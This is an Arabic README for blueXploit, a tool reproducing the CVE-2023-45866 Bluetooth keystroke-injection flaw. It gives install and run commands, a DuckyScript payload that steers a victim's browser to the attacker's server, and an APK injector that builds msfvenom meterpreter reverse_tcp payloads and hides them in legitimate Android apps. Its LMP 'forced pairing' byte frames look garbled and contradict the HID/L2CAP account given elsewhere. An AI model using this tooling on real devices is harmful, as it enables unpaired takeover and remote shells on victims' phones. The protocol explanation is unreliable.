
استغلال ثغرات بلوتوث الحرجة (CVE-2023-45866, CVE-2024-21306)
# blueXploit

[blueXploit فيديو](https://www.youtube.com/watch?v=Zez8hKRI_7M)
- **blueXploit** هو إثبات مبدأ خاص بي يعيد إنتاج **CVE-2023-45866**، ثغرة حقن ضغطات المفاتيح عبر البلوتوث التي اكتشفها **Marc Newlin**. يستغل خللاً في بروتوكول البلوتوث لحقن ضغطات المفاتيح في جهاز الهدف **دون اقتران**، مما يفتح الباب أمام هجمات أكثر تعقيدًا.
> **الإسناد.** الثغرة والاستغلال الأصلي هما من عمل **Marc Newlin**
> ([hi_my_name_is_keyboard](https://github.com/marcnewlin/hi_my_name_is_keyboard)) — أنا **لا أدّعي** الاكتشاف.
> هذا المستودع هو إعادة إنتاج تم بناؤه لفهم وتوثيق الخلل؛ وفوق ذلك،
> يضيف blueXploit مشغل حمولات بأسلوب DuckyScript، وآلية إعادة اتصال/إعادة محاولة، ومساعدًا اختياريًا
> لحقن APK في أندرويد. كل شيء هنا **للتعليم والبحث فقط**.
# كيف تعمل الثغرة
هذه الثغرات الحرجة ([CVE-2023-45866](https://www.infordisa.com/soc/vulnerabilidad-bluetooth/)، CVE-2024-21306) تسمح للمهاجم بحقن ضغطات المفاتيح وقبول طلبات الاقتران دون تأكيد المستخدم. وهذا يؤثر بشكل خطير على أمن أنظمة تشغيل متعددة.
## الأنظمة المتأثرة
- **أندرويد**: 4.2 إلى 14 (11–14 إذا كان تصحيح 2023-12-05 مفقودًا)
- **لينكس**: يتطلب تصحيحًا لـ BlueZ.
- **macOS**: 12 إلى 14.2 (إصلاح جزئي).
- **iOS**: 16 (معرض)، تم إصلاحه في iOS 17.2.
- **ويندوز**: تم إصلاحه في "Patch Tuesday" لشهر يناير 2024.
## التأثير
- تسمح الثغرة بالتحكم عن بُعد في جهاز عن طريق حقن ضغطات المفاتيح حتى دون قبول الاقتران بالبلوتوث، مما يجبر الاتصال وينفذ أوامر المفاتيح.
## أمثلة الهجمات
- **تنفيذ الأوامر عن بُعد**: السيطرة على الأجهزة المعرضة من خلال ضغطات المفاتيح المحقونة، حيث
تكون نواقل الهجوم متعددة — من الحصول على **شِل** إلى **تثبيت تطبيقات ضارة**.
- **هجمات رفض الخدمة (DoS)**: إغراق الأجهزة بطلبات الاقتران.
## التخفيف
- تحديث الأجهزة بأحدث تصحيحات النظام.
- إيقاف تشغيل البلوتوث عند عدم استخدامه (يمنع أي استغلال لهذه الثغرة من العمل).
- تجنب الاقتران مع الأجهزة غير المعروفة.
# blueXploit - الاستخدام والعرض التوضيحي
- استنادًا إلى [الاستغلال الأصلي](https://github.com/marcnewlin/hi_my_name_is_keyboard) بواسطة Marc Newlin.
- تثبيت التبعيات
```bash
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus apktool metasploit-framework \
keytool openjdk-23-jdk
sudo apt autoremove && sudo apt autoclean
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
```
## استخدام APKPwn + blueXploit
**blueXploit** يتضمن أدوات لاستغلال الثغرات على أجهزة أندرويد، ويوفر مكونين رئيسيين وبرنامجًا إضافيًا يسمى **apkpwn_injector**، الموجود في مجلد **injector**.
### ميزات APKPwn
- أتمتة إنشاء حمولات **android/meterpreter/reverse_tcp** باستخدام **msfvenom**.
- حقن تلك الحمولات في تطبيقات `.apk` موجودة في مجلد **apk_clean**.
- إعداد خادم محلي لخدمة التطبيقات الضارة المُنشأة.
تُمكّن هذه الميزات تدفق هجوم فعال ومبسط في بيئات خاضعة للرقابة أو لاختبار الاختراق.

```bash
cd injector
python3 apkpwn_injector.py
```
## إنشاء أو تحرير duckypayload
يتم تحميل أوامر المفاتيح التي ينفذها blueXploit من مجلد **/injector/payloads/** بصيغة **.txt**، مع بناء جملة بسيط وسهل الفهم.
### مثال duckypayload
```bash
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
```
قم بتغيير عنوان IP إلى العنوان الذي يستضيف فيه الخادم.
اكتشاف الأجهزة وتعدادها
```bash
bluetoothctl
```
مسح أجهزة البلوتوث
```bash
scan on
```
تشغيل
```bash
python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF
```
ثم اختر الحمولة المطلوبة والمُعدّة مسبقًا.
## العرض التوضيحي
العرض التوضيحي الكامل موجود في هذا [الفيديو](https://www.youtube.com/watch?v=Zez8hKRI_7M)
## الأجهزة المستخدمة
- Raspberry Pi 4
- Kali Linux ARM64
# شرح CVE-2023-45866
يتم استغلال هذه الثغرة على مستوى منخفض من بروتوكول البلوتوث، وذلك بشكل أساسي عن طريق التلاعب بملف HID وبروتوكول L2CAP لحقن ضغطات المفاتيح في جهاز الضحية.
## 1. بروتوكول البلوتوث على مستوى منخفض
تتضمن حزمة البلوتوث عدة طبقات، مثل بروتوكول إدارة الارتباط (LMP)، وواجهة تحكم المضيف (HCI)، وL2CAP. يستخدم هذا الهجوم بشكل رئيسي الطبقتين الأخيرتين:
- **HCI**: يتم التلاعب بتكوين المحول بحيث يقدم نفسه كجهاز HID شرعي.
- **L2CAP**: المسؤول عن تعدد إرسال البيانات بين الأجهزة، يستخدم L2CAP القناة 17 (التحكم في HID) والقناة 19 (مقاطعة HID) للاتصال بـ HID، والتي يمكن استغلالها لإرسال تسلسلات المفاتيح.
## استغلال CVE-2023-45866
CVE-2023-45866 هي ثغرة في بروتوكول إدارة الارتباط (LMP)، يتم استغلالها من خلال هجوم "الاقتران القسري". إليك كيف يتم تنفيذها تقنيًا:
- **يدير LMP طلبات الاقتران وتكوين الارتباط.**
- يتم إرسال حزم LMP مشوهة أو غير مصادق عليها لفرض الاقتران، مثل:
```bash
LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00
```
في إطار البيانات هذا:
- `0x01`: طلب اقتران LMP
- `0x01`: طلب مصادقة LMP (PIN)
- `0x00 0x00 0x00 0x00`: معلومات PIN ضعيفة، عادةً 0000
هنا يستغل هذا الاستغلال التكوين والمصادقة المفقودة لهذه الحزمة، مما ينتهي بإرجاع:
```bash
LMP Accept: 0x02 0x00 0x00 0x00 0x00
```
في إطار البيانات هذا:
- `0x02`: طلب اقتران LMP **مقبول**
- `0x00 0x00 0x00 0x00`: معلومات PIN مشوهة تم إرجاعها
إذا لم يتم التحقق من المفتاح بشكل صحيح، يتم إنشاء الاتصال ولكن بدون اقتران حقيقي، لذا يمكن إرسال حزمة LMP اقتران قسري مثل:
```bash
LMP Forced Pairing: 0x03 0x01 0x0000
```
يمكن بعد ذلك فرض المصادقة باستخدام مفاتيح تم تسريبها مسبقًا (مثل "0000") وإنشاء قناة اتصال مشفرة، مما يقرن الأجهزة دون المرور بعملية تحقق مناسبة.
**يؤدي هذا إلى إنشاء اقتران دون علم المستخدم، وحتى دون أي نافذة أو إشعار اقتران.**
الخلل في هذه CVE هو أن بعض الأجهزة لا تتحقق بشكل صحيح من طلبات مصادقة LMP، أو تنتهي بإعادة استخدام مفاتيح قديمة.
لذا بمجرد الاقتران بالجهاز — بوم! — يصبح الباقي سهلاً: في **blueXploit.py** يتصرف المحول والجهاز كبيانات تعريفية ويزيفانها. في هذه الحالة، يتم تشغيل أوامر مثل:
```bash
hciconfig hci1 name "blueXploit"
hciconfig hci1 class 0x002540 # HID class (keyboard)
```
كود blueXploit
```python
# configure name and class
log.status("Configuring interface: '%s'" % args.interface )
adapter = Adapter(args.interface)
adapter.set_name("blueXploit")
adapter.set_class(0x002540) # 0x00 unspecified, 0x25 HID device, 0x40 keyboard or mouse
target_name = run(["hcitool", "name", args.target_address]) # gets name
```
## حقن بيانات HID
```bash
[?] Attempting to send letter: a
[.] Attempting to send... (<Key_Codes._1: 30>,)
[.] [TX-19] Attempting to send data: a10100001e000000000000
[.] [TX-19] Data sent successfully
```
شرح إطار بايتات HID:
:`a10100001e000000000000`
- `a1`: يحدد نوع تقرير HID
- `01`: يحدد استخدام واجهة HID للبيانات الواردة
- `00`: ضغطة مفتاح أو تحرير مفتاح
- `00 1e 00 00 00 00`: القيمة السداسية العشرية، حيث `1e` تقابل الحرف `a`
يتم بعد ذلك استلام **ACK** لتأكيد استلام الإرسال بنجاح.
- يدمج blueXploit آلية إعادة اتصال وإعادة إرسال البيانات للحفاظ على استقرار الاتصال وعدم فقدان البيانات، بحيث إذا حدث قطع، يعيد البرنامج الاتصال ويستمر في إرسال بيانات HID من الموضع/الحرف السابق.
> **تحذير**: هذه المواد والتقنيات الموصوفة في هذا المستودع هي **لأغراض تعليمية وبحثية فقط**. يجب استخدام أدوات الاختراق والاستغلال فقط على أنظمة لديك **إذن صريح** لفحصها. الاستخدام غير المصرح به لهذه التقنيات على أنظمة لا تملكها **محظور** و**غير قانوني** في العديد من الدول. أي ضرر أو تأثير سلبي ناتج عن الاستخدام غير السليم لهذا المحتوى هو مسؤولية المستخدم وحده.
> يُنصح المستخدمون بالعمل في بيئات خاضعة للرقابة، مثل **مختبرات الاختبار**، والامتثال لجميع القوانين واللوائح المحلية المتعلقة بأمن المعلومات والقرصنة الأخلاقية. ***happy hacking :D***